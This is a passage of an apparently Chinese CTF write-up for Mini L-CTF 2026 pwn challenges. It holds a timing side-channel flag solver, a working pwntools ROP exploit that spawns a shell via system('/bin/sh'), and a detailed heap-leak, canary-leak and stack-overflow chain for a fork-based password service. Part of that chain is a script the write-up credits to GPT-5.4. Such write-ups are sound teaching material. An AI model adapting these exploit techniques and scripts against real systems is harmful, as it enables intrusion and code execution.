    args: argparse.Namespace, index: int, candidate: int, condition: str = "eq"
68
) -> float:
69
    payload = build_payload(index, candidate, args.path, condition)
70
    tube = remote(args.host, args.port) if args.host else process(args.binary)
71
    start = time.perf_counter()
72
    tube.send(payload)
73
    tube.recvn(1, timeout=args.timeout)
74
    elapsed = time.perf_counter() - start
75
    tube.close()
76
    return elapsed
77

78

79
def score(
80
    args: argparse.Namespace, index: int, candidate: int, condition: str = "eq"
81
) -> float:
82
    samples = [query(args, index, candidate, condition) for _ in range(args.repeat)]
83
    return statistics.median(samples)
84

85

86
def calibrate(args: argparse.Namespace) -> float:
87
    fast = score(args, 0, ord("\x00"))
88
    if args.known_prefix:
89
        slow = score(args, 0, ord(args.known_prefix[0]))
90
        threshold = (fast + slow) / 2
91
        print(
92
            f"[calibrate] fast={fast:.3f}s slow={slow:.3f}s threshold={threshold:.3f}s"
93
        )
94
    else:
95
        threshold = fast + 0.5
96
        print(f"[calibrate] fast={fast:.3f}s threshold={threshold:.3f}s")
97
    return threshold
98

99

100
def ordered_alphabet(alphabet: str) -> str:
101
    return "".join(sorted(set(alphabet), key=ord))
102

103

104
def recover_char(
105
    args: argparse.Namespace, index: int, alphabet: str, threshold: float
106
) -> tuple[str | None, str | None, float]:
107
    lo = 0
108
    hi = len(alphabet) - 1
109
    candidate_char = None
110
    best_char = None
111
    best_elapsed = 0.0
112

113
    while lo <= hi:
114
        mid = (lo + hi) // 2
115
        ch = alphabet[mid]
116
        elapsed = score(args, index, ord(ch), "le")
117
        if elapsed > best_elapsed:
118
            best_char = ch
119
            best_elapsed = elapsed
120

121
        if elapsed >= threshold:
122
            candidate_char = ch
123
            hi = mid - 1
124
        else:
125
            lo = mid + 1
126

127
    if candidate_char is None:
128
        return None, best_char, best_elapsed
129

130
    elapsed = score(args, index, ord(candidate_char), "eq")
131
    if elapsed > best_elapsed:
132
        best_char = candidate_char
133
        best_elapsed = elapsed
134

135
    if elapsed >= threshold:
136
        return candidate_char, best_char, best_elapsed
137
    return None, best_char, best_elapsed
138

139

140
def main() -> None:
141
    parser = argparse.ArgumentParser(
142
        description="Timing side-channel solver using alarm(1)."
143
    )
144
    parser.add_argument("host", nargs="?", help="remote host")
145
    parser.add_argument("port", nargs="?", type=int, help="remote port")
146
    parser.add_argument("--binary", default="./pwn", help="local binary path")
147
    parser.add_argument("--path", default="/flag", help="flag path opened by shellcode")
148
    parser.add_argument(
149
        "--alphabet", default=DEFAULT_ALPHABET, help="candidate characters"
150
    )
151
    parser.add_argument(
152
        "--known-prefix",
153
        default="",
154
        help="known flag prefix used for calibration and skipping",
155
    )
156
    parser.add_argument(
157
        "--start", type=int, default=0, help="first flag offset to recover"
158
    )
159
    parser.add_argument("--max-len", type=int, default=80, help="maximum flag length")
160
    parser.add_argument(
161
        "--repeat", type=int, default=1, help="median samples per candidate"
162
    )
163
    parser.add_argument(
164
        "--timeout", type=float, default=1.5, help="recv timeout per query"
165
    )
166
    parser.add_argument(
167
        "--threshold", type=float, help="manual hit threshold in seconds"
168
    )
169
    args = parser.parse_args()
170

171
    if bool(args.host) != bool(args.port):
172
        parser.error("host and port must be supplied together")
173

174
    threshold = args.threshold if args.threshold is not None else calibrate(args)
175
    alphabet = ordered_alphabet(args.alphabet)
176
    if not alphabet:
177
        parser.error("alphabet must not be empty")
178

179
    flag = ""
180
    if args.start == 0 and args.known_prefix:
181
        flag = args.known_prefix
182
        start = len(flag)
183
        print(flag, end="", flush=True)
184
    else:
185
        start = args.start
186

187
    for index in range(start, args.max_len):
188
        ch, best_char, best_elapsed = recover_char(args, index, alphabet, threshold)
189
        if ch is None:
190
            print(
191
                f"\n[stop] no hit at offset {index}, best={best_char!r} {best_elapsed:.3f}s"
192
            )
193
            break
194

195
        flag += ch
196
        print(ch, end="", flush=True)
197

198
        if flag.endswith("}"):
199
            print()
200
            break
201

202
    print(f"[flag] {flag}")
203

204

205
if __name__ == "__main__":
206
    main()

展开收起

通过时间侧信道 oracle 恢复远程 Flag 的结果

1byte#

Flag

miniL{oVErf1oW_aNd-BaCKDoOR528987d8a}

程序并未开启 PIE 和 Canary 保护。分析 main 函数。注意到 read_long() 函数读取的值可负，但 read 的第三个参数的类型为 size_t，从而会发生转换以造成溢出。基于此，将 len 置 -1 可以获得更多的任意栈写入。

1
int32_t main(int32_t argc, char** argv, char** envp)
2
{
3
    init();
4
    write(1, "Where would you like to start?\n> ", 0x21);
5
    idx = read_long();
6

7
    if (idx > 0x50)
8
    {
9
        lose();
10
        /* no return */
11
    }
12

13
    write(1, "What's the length?\n> ", 0x15);
14
    len = read_long();
15
    uint64_t nbytes = 0x69 - idx;
16
    write(1, "Let's go\n> ", 0xb);
17
    void var_68;
18

19
    if (nbytes >= len)
20
        read(0, &var_68 + idx, len);
21
    else
22
        read(0, &var_68 + idx, nbytes);
23
    return 0;
24
}

展开收起

checksec 指示题目开启了 SHSTK，但并没有造成影响。注意到程序内存在函数 syst3m 和字符串 /bin/5h，这是迷惑项，对解题并无帮助，但位于 0x401314、0x401316、0x401318 和 0x40131a 的 gadgets 有显著作用。

起初零音试图在栈上构造 ROP 链以达成 RORW (Read-Open-Read-Write)，但程序内的唯一 syscall 后为 exit 而非 ret。这意味着我们必须寻找其他精巧的方式。考虑到程序是 unstripped 的且未开启 PIE，我们考虑使用 PLT/GOT 表。

具体地：

使用 ROP 达成 write(1, read@got, 8) 后返回 main 函数。在上文中我们发现，idx 存在上界检查但没有下界检查，这使得我们可以通过负的 idx 将内容写入到随后将在这里展开栈帧的 read 函数的栈帧上。令 idx 为 -8，从而 read 的返回地址被覆盖，read 将随其 ret 跳转到 ROP 链。
使用 ROP 达成 system("/bin/sh")。其中对于第二步，由于题目未给出 libc.so.6，我们可以先泄露数个 libc 中函数的地址，随后在 https://libc.rip 查询得到对应的 libc 版本。这里的版本为 2.39-0ubuntu8.7_amd64。

我们给出脚本。

1
"""
2
Exploit script for competitions.Mini_L-CTF.2026.problems.Pwn.1byte
3
by SigAurelia, affiliated with Project Hazelita
4
"""
5

6
from pwn import *
7

8
exe = ELF("./pwn")
9
libc = ELF("/home/lycecilion/glibc-all-in-one/libs/2.39-0ubuntu8.7_amd64/libc.so.6")
10

11
# fmt: off
12
context.arch = 'amd64'
13
context.binary = exe
14
context.terminal = ["wt.exe", "nt", "--title", "pwndbg", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]
15
context.log_level = "debug"
16
# context.log_level = "info"
17

18
# io = process([exe.path])
19
io = remote("127.0.0.1", 46035)
20

21
context.gdb_binary = "/home/lycecilion/.nix-profile/bin/pwndbg"
22
# gdb.attach(
23
#     io,
24
#     gdbscript="""
25
#     b *main
26
# """,
27
# )
28
# fmt: on
29

30
POP_RDI_ADDR = 0x401314
31
POP_RSI_ADDR = 0x401316
32
POP_RDX_ADDR = 0x401318
33
RET_ADDR = 0x401315
34

35
# Round I
36
io.sendlineafter(b"Where would you like to start?\n> ", b"-8")
37
io.sendlineafter(b"What's the length?\n> ", b"-1")
38
PAYLOAD_1 = flat(POP_RDI_ADDR, 1, POP_RSI_ADDR, exe.got["read"], POP_RDX_ADDR, 8, exe.plt["write"], exe.sym["main"])
39
io.sendafter(b"Let's go\n> ", PAYLOAD_1)
40
READ_ADDR = u64(io.recvn(8))
41
log.info(f"read ADDRESS LEAKED: {READ_ADDR:#x}")
42

43
# Libc
44
libc.address = READ_ADDR - libc.sym["read"]
45
log.success(f"libc BASE ADDRESS CALCULATED: {libc.address:#x}")
46
BIN_SH_STRING = next(libc.search(b"/bin/sh\x00"))
47
SYSTEM_ADDR = libc.sym["system"]
48

49
# Round II
50
io.sendlineafter(b"Where would you like to start?\n> ", b"-8")
51
io.sendlineafter(b"What's the length?\n> ", b"-1")
52
PAYLOAD_2 = flat(POP_RDI_ADDR, BIN_SH_STRING, RET_ADDR, SYSTEM_ADDR)
53
io.sendafter(b"Let's go\n> ", PAYLOAD_2)
54

55
io.interactive()

展开收起

EZcs#

Flag

miniL{L1GHtWeIghT_d3bUGG1Ng-WORKFlOw_So1utloN244b}

初步分析#

本题开启了全套 Full RELRO、Canary、PIE 保护，这使得我们的攻击十分困难。

EZcs 服务端 pwn 程序的初步检查结果

使用 IDA Pro 分析。转到 main 函数。

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
    int fds[2]; // [rsp+0h] [rbp-10h] BYREF
4
    unsigned __int64 v5; // [rsp+8h] [rbp-8h]
5

6
    v5 = __readfsqword(0x28u);
7
    setvbuf(stdin, 0, 2, 0);
8
    setvbuf(stdout, 0, 2, 0);
9
    setvbuf(stderr, 0, 2, 0);
10
    socketpair(1, 524289, 0, fds);
11
    if ( fork() )
12
    {
13
        close(fds[0]);
14
        setuid(0x7D0u);
15
        client((unsigned int)fds[1]);
16
    }
17
    close(fds[1]);
18
    setuid(0x3E8u);
19
    service((unsigned int)fds[0]);
20
    return 0;
21
}

展开收起

程序建立了一对 local communication 的 unnamed 的双向 connected sockets，将一对 file descriptor 置于 fds[2] 中。随后程序 fork 自身——parent 关闭 fds[0] 后将自身 UID 设置为 2000，随后在 fds[1] 上运行 client；child 关闭 fds[1] 后将自身 UID 设置为 1000，随后在 fds[0] 上运行 service。

需要注意的是，ASLR 随机化是于 execve 时完成的，且不会在 fork 时重新随机。即，fork() 不会重新装载 ELF，也不会重新随机 libc。这使得 parent 和 child 的 PIE base、libc base、ld base、vvar/vdso 附近布局和 fork 前 mmap 出来的区域通常一致。这一点将是解决本题的关键。

`client` 侧逻辑#

我们可以通过实际运行该程序来查看 client 侧逻辑。client 侧暴露了 Login（1, hello）、Sign Up（2, signup）和 Quit（3），事实上当输入 4 时可以进入隐藏的 upload 逻辑。

EZcs 客户端的注册、登录与密码管理界面

在完成了注册和登录后，我们可以新增、查看、删除用户密码。

`service` 侧逻辑#

1
__int64 __fastcall service(unsigned int fd)
2
{
3
    int v2; // [rsp+1Ch] [rbp-264h]
4
    _BYTE s[80]; // [rsp+20h] [rbp-260h] BYREF
5
    _BYTE buf[520]; // [rsp+70h] [rbp-210h] BYREF
6
    unsigned __int64 v5; // [rsp+278h] [rbp-8h]
7

8
    v5 = __readfsqword(0x28u);
9
    memset(s, 0, 0x48u);
10
    srv_users = (__int64)malloc(0xA0u);
11
    close(0);
12
    close(1);
13
    close(2);
14
    while ( 1 )
15
    {
16
        v2 = read(fd, buf, 0x40u);
17
        if ( v2 <= 0 )
18
            break;
19
        srv_parse_pkt(fd, s, buf, (unsigned int)v2);
20
    }
21
    puts("[!] Connection closed or died unexpectedly.");
22
    return 0;
23
}

展开收起

service 启动后，在栈上清空 0x48 大小的内存，并申请 0xa0 的内存空间用于存储 srv_users。随后 service 关闭 stdin/stdout/stderr file descriptor，开始循环从 arg1 接收来自 client 侧的请求，在接收到时调用 srv_parse_pkt 解析。

已知漏洞#

经过一段时间的挖掘，我们会注意到许多漏洞点。下面逐一阐释。

`srv_handle_bug` 的栈溢出漏洞#

1
__int64 __fastcall srv_handle_bug(unsigned int srv_last_fd, __int64 a2, __int64 a3, unsigned __int16 a4)
2
{
3
    // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]
4

5
    v17 = __readfsqword(0x28u);
6
    v4 = *(_QWORD *)(a2 + 9);
7
    *(_QWORD *)s1 = *(_QWORD *)(a2 + 1);
8
    v13 = v4;
9
    v5 = *(_QWORD *)(a2 + 25);
10
    v14 = *(_QWORD *)(a2 + 17);
11
    v15 = v5;
12
    if ( !strncmp(s1, "stage", 5u) )
13
        return 0;
14
    if ( (a4 & 1) != 0 )
15
        return srv_err(srv_last_fd, "Bug report must be even-length hex.");
16
    for ( i = 0; i < a4 >> 1; ++i )
17
    {
18
        v8 = hex_nibble(*(unsigned __int8 *)(2 * i + a3));
19
        v9 = hex_nibble(*(unsigned __int8 *)(2 * i + 1 + a3));
20
        if ( v8 < 0 || v9 < 0 )
21
            return srv_err(srv_last_fd, "Bug report must be hex.");
22
        v16[i] = v9 | (16 * v8);
23
    }
24
    return srv_res(srv_last_fd, 0, 0, 0);
25
}

展开收起

简要描述功能：该函数比对传入的 Bug report 的标题是否以 "stage" 开头，若是则 return 0 以停止回应使得 client 侧挂起；否则检测 Bug report 的内容长度是否为偶数，若是则写入栈缓冲区并以 srv_res 回应。

注意到：该函数将在对输入的数据取 hex_nibble 后将 a4 >> 1 字节的 Bug report 写入到栈上大小仅为 264 字节的 v16。这样当输入的数据足够大时，就有可能会覆写栈。

`signup` 的不完全初始化#

1
__int64 __fastcall srv_handle_signup(__int64 srv_last_fd, const char *s2, unsigned __int16 n)
2
{
3
    // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]
4

5
    n19_1 = -1;
6
    for ( n19 = 0; n19 <= 19; ++n19 )
7
    {
8
        if ( *(_QWORD *)(srv_users + 8LL * n19) )
9
        {
10
            if ( n == *(_DWORD *)(*(_QWORD *)(srv_users + 8LL * n19) + 8LL)
11
                && !strncmp(**(const char ***)(srv_users + 8LL * n19), s2, n) )
12
            {
13
                return srv_err((unsigned int)srv_last_fd, "Username is signuped.");
14
            }
15
        }
16
        else if ( n19_1 == -1 )
17
        {
18
            n19_1 = n19;
19
        }
20
    }
21
    if ( n19_1 == -1 )
22
        return srv_err((unsigned int)srv_last_fd, "Username too much.");
23
    v7 = malloc(0x150u);
24
    v8 = malloc(n);
25
    if ( !v7 || !v8 )
26
    {
27
        srv_die((unsigned int)srv_last_fd, "Failed to allocate user.");
28
        exit(1);
29
    }
30
    *(_QWORD *)v7 = v8;
31
    v7[2] = n;
32
    strncpy(*(char **)v7, s2, n);
33
    *(_QWORD *)(8LL * n19_1 + srv_users) = v7;
34
    return srv_res((unsigned int)srv_last_fd, 0, 0, 0);
35
}

展开收起

这段代码为 service 端对用户注册的处理。具体上，它首先将传入的用户名与 srv_users 中所有用户的用户名比较，确保未满员和无重名的情况下，它申请 0x150 大小的块 v7 以存储用户信息，申请与用户名长度等大的块 v8 存储用户名。v7 块的第一个 _QWORD 内存指向 v8，第二个存储用户名长度。

事实上，我们注意到，这段代码在使用 malloc 的 0x150 大小内存块时，仅初始化了其开头 0x10 大小的内容。基于此，若我们可以提前制造一个 0x150 大小的 freed chunk，写入内容、释放并使得 signup 复用，则该用户对应块后方的密码槽将保留我们提前写入的内容。

`srv_handle_get` 的越界读#

1
__int64 __fastcall srv_handle_get(__int64 srv_last_fd, __int64 a2)
2
{
3
    _QWORD *v3; // [rsp+10h] [rbp-10h]
4

5
    if ( !srv_curr_user )
6
        return srv_err((unsigned int)srv_last_fd, "You are not logged in.");
7
    v3 = (_QWORD *)(srv_curr_user + 16 * (*(_QWORD *)(a2 + 1) + 1LL));
8
    if ( v3[1] )
9
        return srv_res((unsigned int)srv_last_fd, 0, (unsigned __int16)*v3, v3[1]);
10
    else
11
        return srv_err((unsigned int)srv_last_fd, "Index is empty.");
12
}

这里的 a2 即为用户查询的密码的序数。注意到这里并没有对 a2 进行边界校验。

同时，若按照上文的方法，构造伪造用户块，并将密码的指针指向我们需要的地方，则 get 会造成任意读。

`client` 侧越界读#

注意 cl_await_res 读取输入后分配等大的内存，并最终将堆块地址回传给 get_pw：

1
cl_read_n(a1, &size, 2);
2
p_size = malloc(size);

get_pw 得到堆地址后未经过长度校验，亦未补 \0 而直接使用 v2[1] 读取密码本身。

1
v2 = (const char **)cl_await_res(a1);
2
if ( *(_BYTE *)v2 )
3
{
4
    printf("[!] Server error:\n  -> ");
5
    puts(v2[1]);
6
}
7
else
8
{
9
    printf("[*] Password: %s\n", v2[1]);
10
}

这将是最关键的 client-side 泄漏。我们可以测试这一点：事实上，当我们新增一个极短的密码时，已经可以注意到在密码之后附带了一些堆上的数据。图片展示了这一点。

EZcs 客户端读取短密码时泄露的堆地址相关数据

这部分数据经过与 maps 的对照，证实了它是 heap_base >> 12 的高 4 字节。不过这并不能完全恢复 heap_base 的完整地址。

伪造 fake user 实现 heap leak#

注意到当我们伪造 fake user 的密码槽 slot0 时，若使 len = 0 而 ptr 任意，从而由 service 侧的 get(0)，它将发送 1 字节 status 值为 0、发送 2 字节 length 值为 0、最后 write(fd, ptr, 0) 向 client 回传 0 字节。

client 侧读取 1 字节 status 和 2 字节 length 后执行 buf = malloc(length)。由 manpage

If size is 0, then malloc() returns a unique pointer value that can later be successfully passed to free(). (See “Nonportable behavior” for portability issues.)

在 length = 0 即 malloc(0) 时，glibc 通常会返回一个可 free() 的最小 chunk 指针。从而在后文 cl_read_n(fd, buf, 0) 时，这块内存不会自动清零，而 client 也不会写入新数据。而上文我们已经展示了 get_pw 的越界读能力，它将会读取后续堆块的旧数据，这即泄露了一些数据。

事实上，这里泄露的数据正是 heap_base >> 12，它是可还原的。具体地，cl_await_res 先 malloc(0x10) 取 response 结构体、再 malloc(size) 取数据缓冲区；size = 0 时 glibc 回落到 0x20 的 chunk，而这个 chunk 通常恰是上一条 response 被 cl_free_res 释放回 0x20 tcache bin 的那一块。tcache_get 只清 key 而不清 next，故其首 qword 仍是 safe-linking 写入的 chunk_addr >> 12。本题中该 chunk 落在堆的第一页内，于是它恰好等于 heap_base >> 12，左移 12 位即可还原 heap_base。

从而我们通过 fake user 实现的 heap leak，较通过 get_pw 实现的是更强的。

libc leak 链#

GPT-5.4 爆破得到了一条稳定的 libc leak 链路。

对于一个 unsorted bin，其 chunk 的用户区开头通常具有 fd 和 bk 指针。若 unsorted bin 内仅存在 1 个 chunk，则我们期望

1
fd == bk == bin_at(main_arena, 0)

注意 glibc 是以 bin_at 的形式让 bin 头参与链表的：bin_at(m, i) = &m->bins[(i - 1) * 2] - offsetof(struct malloc_chunk, fd)，因此它比 &bins[0] 低 0x10。本题的 glibc 2.39 中 main_arena 位于 libc + 0x203ac0，bins 数组位于 main_arena + 0x70，于是该哨兵值为 main_arena + 0x60，即 libc + 0x203b20。

考虑 add_pw() 最终会在 service 侧 malloc(size)。请求 0xfe 字节对应大小为 0x110 的 chunk；在布置 fake user u2 后注册 u1，并在 u1 处连续 add 10 个 0xfe 大小的块后再依次 delete：前 7 个被 tcache 收下（每个 bin 上限 7 个），第 8 个（chunk 头位于 heap + 0xf50）被释放进此时为空的 unsorted bin，其 fd 与 bk 都被写成 bin_at(main_arena, 0) = libc + 0x203b20；随后第 9、10 个释放时与 top 反向合并，top 前移到 heap + 0xf50，但前者的 user data 并不会因此被清除。于是从 heap + 0xf60 读到的 fd 就是一个稳定的 libc 指针 libc + 0x203b20。

需要留意，此时它已不是仍在 unsorted bin 中的 chunk，而是并入 top 之后残留于 top 空闲区里的旧链表值。这条链路由 GPT-5.4 爆破得到。

在 pwndbg 中调试可以复现这一点。需要注意的是，由于该程序采用 client/service 双进程 fork，我们需要设置

1
set detach-on-fork off
2
set follow-fork-mode parent
3
set schedule-multiple on

并使用 inferior 1 和 inferior 2 互相切换。

泄露 `service` 栈#

考虑本题开启了栈保护和 ASLR。由上文我们提到的越界读，通过 fake user u3 令 slot0 为 (8, libc + environ)，则可以使用 get(0) 直接读取 environ。注意到 environ - 0x15f 为 canary 的高 7 字节，environ - 0x150 可以得到 PIE return addr，这即使我们具备了绕过栈保护和 ASLR 的条件。

这里的偏移之所以是常数，是因为 environ 指向栈顶的 argv/envp 数组区，而该数组区自 argc 向上连续排布，其与 entry frame 的距离只取决于 argc，与环境变量的内容无关。动态调试可得 service_rbp = environ - 0x158：service 的 canary 槽在 service_rbp - 8 = environ - 0x160，其最低字节为 \0，故 environ - 0x15f 起的 7 字节即 canary 的高位；service 的返回地址在 service_rbp + 8 = environ - 0x150，实测为 main 中 service 调用点的下一条指令（pie + 0x32d9）。由于同一线程内 fs:0x28 唯一，这份 canary 可直接用于 srv_handle_bug 的栈保护校验。

关于 `upload` 逻辑#

注意 upload 的逻辑：

1
__int64 __fastcall upload(unsigned int a1)
2
{
3
    // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]
4

5
    v9 = __readfsqword(0x28u);
6
    n0xFFF = 0;
7
    memset(&s, 0, 0x24u);
8
    s = 6;
9
    buf_[32] = 1;
10
    puts("Type your bug report: ");
11
    do
12
    {
13
        if ( n0xFFF > 0xFFFu )
14
            break;
15
        v3 = read(0, &v8[n0xFFF], 1u);
16
        if ( v3 <= 0 )
17
            break;
18
        n0xFFF += v3;
19
    }
20
    while ( v8[n0xFFF - 1] != '\n' );
21
    n0xFFF_1 = n0xFFF;
22
    puts("Pick a title: ");
23
    read(0, buf_, 0x20u);
24
    buf_[strcspn(buf_, "\n")] = 0;
25
    cl_send_pkt(a1, &s, v8, n0xFFF);
26
    v4 = (const char **)cl_await_res(a1);
27
    if ( *(_BYTE *)v4 )
28
    {
29
        printf("[!] Server error:\n  -> ");
30
        puts(v4[1]);
31
    }
32
    else
33
    {
34
        puts("[*] Report failed.");
35
    }
36
    cl_free_res(v4);
37
    return 0;
38
}

展开收起

这里存在一个特别诡异的问题：Bug report 以循环短读读满 0x1000 字节，以 \n 作为结束标志，但在其获取的 report buf_ 中并没有移除 \n。换行符不是一个合法的 hex 值，从而无论如何 client 侧都会报告

1
"Bug report must be hex."

观察代码。结束短读的方式是读满 0x1000 字节或接收得到 EOF。事实上，在与终端的直接交互中，我们在发送 Bug report 时，可通过两次 Ctrl+D 造成读取结束，其中第一次 Ctrl+D 将缓冲区的内容追加 EOF 结尾后传入 read()，第二次 Ctrl+D 使得 read() 获得负返回值以跳出短读。在这种情形下，stdin 是交互式 TTY，其 fd 并不会被 close()。但对于普通文件、pipe 和 socket 等这种一次性流 stdin，如我们使用 Pwntools 等经 socket 与远端 client 的交互，stdin 已经读到 EOF 后则会过早关闭，使得我们与远端的交互能力结束。但我们仍然需要在发送 Bug report 结束后保留交互能力。

基于此，我们需要换一种方式填充 Bug report。这即，我们需要发送不含结尾换行的 0x1000 字节的纯 hex 数据，这样远端的 upload() 会因为达到长度上限而非得到 \n 停止。

大体攻击流程#

GPT-5.4 完成了大部分 Exploit 侧的逻辑。

本地通过动态调试，我们确认了 service_rbp = environ - 0x158 和 parse_rbp = service_rbp - 0x290。

计算从 service 到 srv_handle_bug 的栈帧偏移。注意调用链

1
service -> srv_parse_pkt -> srv_handle_pkt -> srv_handle_bug

故从 bug buffer 起，有

0x108：bug canary
0x110：bug saved rbp
0x118：bug saved rip
0x120：srv_send_flag 返回地址
0x190：parse saved rbp
0x198：parse saved rip
0x1ac：service 局部变量 fd

其中 bug buffer 即 srv_handle_bug 的 v16，位于 rbp - 0x110（可由 0x2ca7 的 lea rcx, [rbp - 0x110] 确认），故 canary 恰在 0x108。0x110 与该帧的 saved rbp 重合——我们的 payload 用它把 parse_rbp 一路传递下去；0x118 是 saved rip；0x120 则是 ret 之后紧接着的一格，跳进 srv_send_flag 后它即成为后者的返回地址。0x190 与 0x198 分别是 srv_parse_pkt 的 saved rbp 与 saved rip（实测 parse_rbp = bug_buffer + 0x190），0x1ac 是 service 的局部变量 fd（service: mov [rbp - 0x274], edi，而 service_rbp = bug_buffer + 0x420）。

我们前文提到了 srv_handle_bug 的栈溢出漏洞，并获得了通过 service 栈泄露 Canary 和 PIE base 的能力。下面给出大体攻击流程：我们泄露 Canary 和 PIE base 后，首先覆写 srv_handle_bug 的栈，使其完成 canary 检查后 ret 至 srv_send_flag。

1
__int64 srv_send_flag()
2
{
3
    int fd; // [rsp+4h] [rbp-11Ch]
4
    ssize_t v2; // [rsp+8h] [rbp-118h]
5
    _BYTE buf[264]; // [rsp+10h] [rbp-110h] BYREF
6
    unsigned __int64 v4; // [rsp+118h] [rbp-8h]
7

8
    v4 = __readfsqword(0x28u);
9
    fd = open("/flag", 0);
10
    if ( fd < 0 )
11
        return srv_err((unsigned int)srv_last_fd, "open /flag failed.");
12
    v2 = read(fd, buf, 0xFFu);
13
    close(fd);
14
    if ( v2 < 0 )
15
        return srv_err((unsigned int)srv_last_fd, "read /flag failed.");
16
    buf[v2] = 0;
17
    return srv_res((unsigned int)srv_last_fd, 2, (unsigned __int16)v2, buf);
18
}

展开收起

srv_send_flag 在发出其 response 后返回 srv_parse_pkt 的 epilogue 0x311d，借由其最后的 leave; ret 用我们修好的 saved rbp/rip 返回 service+0xb8，使得 service 继续进入读循环，借由下一轮 client 的正常请求，将 queue 中的下一个 response 发出。

这里需要展开说明。由于 srv_handle_bug 会由 c srv_res(srv_last_fd, 0, 0, 0); 发送一个 ACK 后，再由跳转到的 srv_send_flag 将 flag 以 response 发回，但 client 本身一次仅从 fd 中读取一个完整的 response，这会导致 client 接收到 ACK 后即刻停止，flag 作为 queue 中的 response 无法被读取。这意味着，我们必须在发送 flag 后复原 service 栈，使得 service 能够再接收一次 client 侧的请求，以将 queue 中的 response 接收。

具体利用链#

`u0` heap leak#

我们通过 upload 逻辑 seed 一个 fake user，使其 slot0 = (len = 0, ptr = 1)。注意到 Bug report 等包在接收时会先 malloc 一块内存空间，而仅在 Bug report 是 hex 不合法的时 free 掉，这给了我们伪造 fake user 的可能性。伪造后，我们 signup(u0)、login(u0) 并 get(u0)，从而 client 侧的 %s overread 会以 c heap = leaked_qword << 12 恢复 heap。

`u2` 准备 libc leak slot#

我们 seed 一个 fake user u2，使其 slot0 = (len = 0x20, ptr = heap + 0xf60)。这是为后续 libc leak 做准备。

`u1` 制造 freed password chunks#

我们注册并登录正常 user u1，add 10 个长度 0xfe 的 password 后 delete，使得 heap + 0xf60 对应的 chunk 带上 libc 指针。

使用 `u2` libc leak#

我们退登后登录 u2，使用 get(0) 读 heap + 0xf60 以 libc = leak - 0x203b20 恢复 libc base。

`u3` environ leak#

我们 seed 一个 fake user u3，使其 slot0 = (8, libc + environ)。登录 u3 后 get(0) 得到 environ。

`u4` canary leak#

我们 seed 一个 fake user u4，使其 slot0 = (7, environ - 0x15f)。登录 u4 后 get(0) 得到 canary 的高 7 字节。

`u5` PIE leak#

我们 seed 一个 fake user u5，使其 slot0 = (6, environ - 0x150)。登录 u5 后 get(0) 得到 PIE return addr。

构造 overflow#

按照上文构造 0x800 字节的二进制 payload，使得

0x108：bug canary
0x110：parse_rbp
0x118：pie + srv_send_flag
0x120：pie + 0x311d
0x190：service_rbp
0x198：pie + 0x31d7
0x1ac：fd = 3

取 queue 中 `flag`#

执行一次正常 login，从 service 侧错误消息中取 Flag。

1
[!] Server error:
2
  -> miniL{...}

下面给出了题目附件的部分偏移量和最终的 Exploit 脚本。

函数偏移。

srv_send_flag：0x2399
srv_parse_pkt epilogue：0x311d
service+0xb8：0x31d7
main 中 service 返回后的地址：0x32d9

泄漏/堆相关。

heap + 0xf60：用于 libc leak 的 freed password chunk
libc leak = libc + 0x203b20（即 main_arena + 0x60，unsorted bin 的 bin_at 哨兵）
environ = libc + libc.symbols["environ"]

栈相关。

service_rbp = environ - 0x158
parse_rbp = service_rbp - 0x290
bug buffer 起点相对 parse_rbp：parse_rbp - 0x190

该脚本由 GPT-5.4 编写。

1
#!/usr/bin/env python3
2
from pwn import *
3
import argparse
4
import re
5

6

7
context.binary = ELF("./pwn", checksec=False)
8
LIBC = ELF("./libc.so.6", checksec=False)
9
context.log_level = "info"
10

11
WIN_OFF = 0x2399
12
LEAK_LIBC_OFF = 0x203B20
13
RETLEAK_OFF = 0x32D9
14
PW_CHUNK_OFF = 0xF60
15
ENVIRON_OFF = LIBC.symbols["environ"]
16

17
BUG_CANARY_PAD = 0x108
18
HEX_BODY_LEN = 0x1000
19
FINAL_BODY_LEN = HEX_BODY_LEN // 2
20

21
SERVICE_RBP_FROM_ENVIRON = 0x158
22
PARSE_RBP_FROM_SERVICE = 0x290
23
PARSE_EPILOGUE_OFF = 0x311D
24
SERVICE_LOOP_OFF = 0x31D7
25

26
PARSE_SAVED_RBP_OFF = 0x190
27
PARSE_SAVED_RIP_OFF = 0x198
28
SERVICE_FD_OFF = 0x1AC
29

30
FLAG_RE = re.compile(rb"[A-Za-z][A-Za-z0-9_]*\{[^\n}]+\}")
31
MENU_LOGGED = (
32
    b"What would you like to do?\n"
33
    b"1) Add password\n"
34
    b"2) Get password\n"
35
    b"3) Delete password\n"
36
    b"4) Logout\n> "
37
)
38

39

40
class RetryAttempt(Exception):
41
    pass
42

43

44
def seed_user(slot_len: int, slot_ptr: int) -> bytes:
45
    body = bytearray(b"Z" * 0x150)
46
    body[0x10:0x18] = p64(slot_len)
47
    body[0x18:0x20] = p64(slot_ptr)
48
    return bytes(body)
49

50

51
class Exploit:
52
    def __init__(self, tube):
53
        self.io = tube
54

55
    def signup(self, name: bytes) -> None:
56
        self.io.sendlineafter(b"> ", b"2")
57
        self.io.sendlineafter(b"Input name: ", name)
58

59
    def login(self, name: bytes) -> bytes:
60
        self.io.sendlineafter(b"> ", b"1")
61
        self.io.sendlineafter(b"Enter your name: ", name)
62
        return self.io.recvuntil(b"> ")
63

64
    def logout(self) -> None:
65
        self.io.sendlineafter(b"> ", b"4")
66

67
    def add(self, idx: int, pw: bytes) -> None:
68
        self.io.sendlineafter(b"> ", b"1")
69
        self.io.sendlineafter(b"Type your password: ", pw)
70
        self.io.sendlineafter(b"Select a index: ", str(idx).encode())
71

72
    def delete(self, idx: int) -> None:
73
        self.io.sendlineafter(b"> ", b"3")
74
        self.io.sendlineafter(b"Select a index: ", str(idx).encode())
75

76
    def upload(self, body: bytes, title: bytes = b"x", newline: bool = True) -> None:
77
        self.io.sendlineafter(b"> ", b"4")
78
        self.io.recvuntil(b"Type your bug report: ")
79
        self.io.send(body + (b"\n" if newline else b""))
80
        self.io.recvuntil(b"Pick a title: ")
81
        self.io.send(title.ljust(0x20, b"\n")[:0x20])
82

83
    def get_raw(self, idx: int) -> bytes:
84
        self.io.sendlineafter(b"> ", b"2")
85
        self.io.sendlineafter(b"Select a index: ", str(idx).encode())
86
        out = self.io.recvuntil(MENU_LOGGED)
87
